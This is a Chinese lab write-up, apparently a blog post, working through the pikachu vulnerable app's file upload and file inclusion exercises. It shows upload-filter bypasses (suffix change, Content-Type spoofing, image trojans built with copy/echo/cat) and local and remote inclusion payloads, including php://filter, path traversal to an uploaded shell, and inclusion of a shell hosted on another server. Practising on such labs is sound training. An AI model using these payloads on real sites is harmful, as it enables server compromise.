pikachu文件上传和文件包含

pikachu_文件上传和文件包含

文件上传

1.客户端检查

要求上传图片,此处准备一个php文件上传:

//shell.php
<?php
    phpinfo();
?>

在这里插入图片描述

选完就提示不合规,那么修改后缀,改为phpinfo.jpg

在这里插入图片描述

上传成功,此处为浏览器前端检查

2.MIME类型检查

上传shell.php,显示格式不正确

在这里插入图片描述

可以看出没有进行前端检查,那么可以上传shell.php尝试重放改包

Content-Type改为 image/jpeg

在这里插入图片描述

上传成功

在这里插入图片描述

这里直接修改后缀也能成功

3.getimagesize幻数检查

直接上传或修改类型,会显示后缀错误

在这里插入图片描述

修改后缀名,会显示是假图片

在这里插入图片描述

那么这里应该是对图片的幻数进行了检查

常见的php函数有

getimagesize()获取图片尺寸,失败时返回false,当文件不是图片时,会失败。

exif_imagetype()通过幻数判断图片格式

可以通过图片马绕过

制作图片马

//windows
copy myimg.jpg/b + shell.php/a shell.jpg

//linux方法1
echo '<?php phpinfo; ?>' >> myimg.jpg

//linux方法2
cat shell.php | >> myimg.jpg

其中的/b指用二进制方式读取,/a表示用ascii码读取

在这里插入图片描述

上传成功

此外,还可以通过16进制编辑器给shell.php添加图片幻数来制作

文件包含

1.本地包含

在这里插入图片描述

url中通过get传递了文件名来获取文件,那么直接将参数改为该页面文件名,使用php伪协议php://filter读获取页面php代码

在这里插入图片描述

http://192.168.248.128:81/pikachu/vul/fileinclude/fi_local.php?filename=php://filter/read/convert.base64-encode/resource=fi_local.php

说明伪协议可能用不了

那么再查看页面源代码,发现返回图片的位置为include目录

在这里插入图片描述

此时可以尝试路径穿越到上传文件的目录uploads,使用之前上传的木马。

但这里直接可以看到路径pikachu/vul/fileinclude/include,而上传的路径在上传文件的目录有显示为pikachu/vul/unsafeupload/uploads,那么payload应为

../../unsafeupload/uploads/shell.php

在这里插入图片描述

2.远程包含

在这里插入图片描述

php中include包含远程文件的前提是php.ini中 allow_url_fopen=On (默认开启) 和 allow_url_include=Off (默认关闭)要开启

在这里插入图片描述

修改后保存,重启pikachu

在这里插入图片描述

查看网页源代码,找到页面和图片来源

在这里插入图片描述

可以看到还是本地的,但因为 allow_url_include为开启状态,远程包含是可行的

在另一台服务器中放置木马文件,那么就在pikachu的url里将其包含进来

在这里插入图片描述

http://192.168.248.139/shell.php

在这里插入图片描述

成功执行

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值